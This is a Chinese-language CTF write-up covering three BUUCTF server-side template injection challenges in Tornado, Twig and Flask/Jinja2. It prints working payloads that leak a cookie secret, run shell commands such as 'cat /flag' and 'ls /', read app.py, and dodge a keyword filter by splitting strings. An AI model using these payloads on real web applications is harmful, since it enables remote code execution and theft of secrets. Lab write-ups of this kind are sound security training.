(wp)ctfweb-buu中ssti模板注入


(wp)ctfweb-buu中ssti模板注入

我的blog,欢迎来玩
前面写过学习文章

一、[护网杯 2018]easy_tornado

打开题目,只有三个链接,如图,

依次点开

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HYGqr8RK-1626099348826)(https://i.loli.net/2021/06/28/GUD9pRAlmoFywSE.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pMDy8Jjn-1626099348828)(https://i.loli.net/2021/06/28/7girIkdaASC4O1x.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uZdkQjPg-1626099348829)(https://i.loli.net/2021/06/28/dZghu8sTqkKbjzC.png)]

根据每个网址的链接和flag页面的内容可以推测,flag应该是

filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))

这种格式。

所以本题的关键在 cookie_secret

根据第二个链接内容,百度render可以发现,render()是tornado里的函数,可以生成html模板。

我们对网站进行尝试注入,看是否有注入点

filename=/fllllllllllllag&filehash={{7*7}}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hCRGATyP-1626099348831)(https://i.loli.net/2021/06/28/Q3sXjMgDWcJ6C5P.png)]

发现网页报错,但明显还能尝试注入

error?msg={{7*7}}    和        error?msg={{7}}

发现当输入7*7时,返回orz;输入7时,返回7

说明可以注入,但*可能被过滤

因为存在注入点,所以我们需要寻找cookie_secret路径

百度发现,其存在位置为handler.settings

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NH3Se6CP-1626099348832)(https://i.loli.net/2021/06/28/qdHivX4ErBChAVl.png)]

进行注入得

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LZHxIs0D-1626099348833)(https://i.loli.net/2021/06/28/JmMcOqjIdl3gPoz.png)]

'cookie_secret': '3b278e82-468b-487a-8cd2-bcf53c8a19d0'}

因为 md5(filename)=md5(/fllllllllllllag)=3bf9f6cf685a6dd8defadabfb41a03a1

拼接后加密得 2bd5cf6fe358fa26518f4bca650e3a79

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wfXjt58p-1626099348833)(https://i.loli.net/2021/06/28/nIfBHhM9GJyP4qo.png)]

最后输入payload进行查询,得到flag

fllllllllllllag&filehash=2bd5cf6fe358fa26518f4bca650e3a79

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mdmz146V-1626099348834)(https://i.loli.net/2021/06/28/YGEbvcOZQahAgXN.png)]

flag{5d8b767c-07af-46ff-831d-30e9c7f4d32b}

二、[BJDCTF2020]Cookie is so stable

打开题目,需要输入id,随便输入后发现找不到flag

尝试注入

发现有明显的注入漏洞,又因为结构为49且基于php,可以推测出模板为twig。根据源码提示进行抓包,发现uesr是注入点

直接百度或根据上一篇文章的payload进行注入

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

得flag{d7ef7d9d-6ba4-4dd5-88ec-33500d9b2ad3}

三、[GYCTF2020]FlaskApp

进去是这个页面,提示里没有信息

随便尝试后,发现加密中可以注入代码,解密就能得到值:

注入{{7+7}}得e3s3Kzd9fQ== 翻译得14

但再注入{{7*7}}时,加密得e3s3Kjd9fQ==

再解密却得

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-31qj0WWJ-1626099348835)(https://i.loli.net/2021/06/28/FkX7dReBKsACnqS.png)]

说明存在过滤

尝试注入查找目录

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BQd19D3h-1626099348836)(https://i.loli.net/2021/06/28/y8W4mGaiohPDg3J.png)]

发现又被过滤了,于是考虑查看源码,在解密中随便输入进入debug:

可以发现,在输出结果时有过滤,存在于app.py的waf中,百度一下payload,尝试读取文件

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py', 'r').read() }}{% endif %}{% endfor %}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-11RdUMpk-1626099348838)(https://i.loli.net/2021/06/28/W8zvhqFBGKiSnP5.png)]

找到了被过滤的字符

拼接os和import构造payload寻找目录:

{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7h14Hx4E-1626099348839)(https://i.loli.net/2021/06/28/mVvwtf8ODhnukRW.png)]

然后拼接flag,读取文件:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MfR8KXJV-1626099348840)(https://i.loli.net/2021/06/28/QqiFUklB1j2MESu.png)]

得到flag{f8cc4e99-1ec3-49f2-b0be-b92686d4ff31}

四、部分payload总结,快速使用

buu中的部分ssti解题过程

flask之ssti模板注入

ssti详解与例题以及绕过payload大全

019/01/15/flask%E4%B9%8Bssti%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/#%E6%94%BB%E5%87%BB)

ssti详解与例题以及绕过payload大全

你可能感兴趣的:(ctf,ctfweb,ssti,信息安全)